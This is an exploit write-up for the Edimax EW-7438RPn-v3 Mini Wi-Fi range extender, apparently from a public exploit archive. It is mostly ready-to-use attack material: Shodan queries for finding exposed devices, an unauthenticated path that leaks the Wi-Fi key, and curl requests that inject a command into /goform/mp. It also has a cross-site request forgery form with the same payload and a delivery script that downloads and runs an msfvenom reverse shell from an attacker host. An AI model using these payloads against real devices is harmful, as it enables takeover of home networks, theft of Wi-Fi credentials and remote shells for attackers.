Edimax Technology EW-7438RPn-v3 Mini 1.27 Remote Code Execution

`# Exploit Title: Edimax Technology EW-7438RPn-v3 Mini 1.27 - Remote Code Execution  
# Date: 2020-04-13  
# Exploit Author: Wadeek  
# Hardware Version: EW-7438RPn-v3 Mini  
# Firmware Version: 1.23 / 1.27  
# Vendor Homepage: https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/wi-fi_range_extenders_n300/ew-7438rpn_mini/  
# Firmware Link: https://www.edimax.com/edimax/mw/cufiles/files/download/Firmware/EW-7438RPn_mini_1.27.zip  
  
== Shodan Dorks ==  
  
(Setup Mode) "HTTP/1.0 302 Redirect" "Server: Boa/0.94.14rc21" "http://(null)/index.asp"  
(Unsetup Mode) "HTTP/1.1 401 Unauthorized" "Server: Boa/0.94.14rc21" "Default Name:admin Password:1234"  
  
== Unauthorized Access - Wi-Fi Password Disclosure (Unsetup Mode) ==  
  
GET /wizard_reboot.asp  
showSSID = "<WIRELESS-NAME>";  
document.write('<font class=\"textcolor\">'+"<WIRELESS-SECURITY-KEY>"+'</font>');  
  
== Command Execution * ==  
  
(Setup Mode)  
curl 'http://<RHOST>/goform/mp' --data 'command=%7C%7C+busybox+wget+-O+-+http%3A%2F%2F<LHOST>%2Fdelivery.sh+%7C+%2Fbin%2Fsh'  
  
(Unsetup Mode with default password)  
curl 'http://<RHOST>/goform/mp' -H 'Authorization: Basic YWRtaW46MTIzNA==' --data 'command=%7C%7C+busybox+wget+-O+-+http%3A%2F%2F<LHOST>%2Fdelivery.sh+%7C+%2Fbin%2Fsh'  
  
== Cross-Site Request Forgery -> Command Execution * ==  
  
<form action="http://edimaxext.setup/goform/mp" method="POST">  
<input type="hidden" name="command" value="|| busybox wget -O - http://<LHOST>/delivery.sh | /bin/sh">  
<input type="submit" value="">  
</form>  
  
* [ delivery.sh ]  
--------------------------------------------------------------------------------------  
# (msfvenom) linux/mipsbe/shell/reverse_tcp  
cd /tmp/  
busybox wget -O reverse http://<LHOST>/reverse  
busybox chmod +x reverse  
./reverse &  
--------------------------------------------------------------------------------------  
`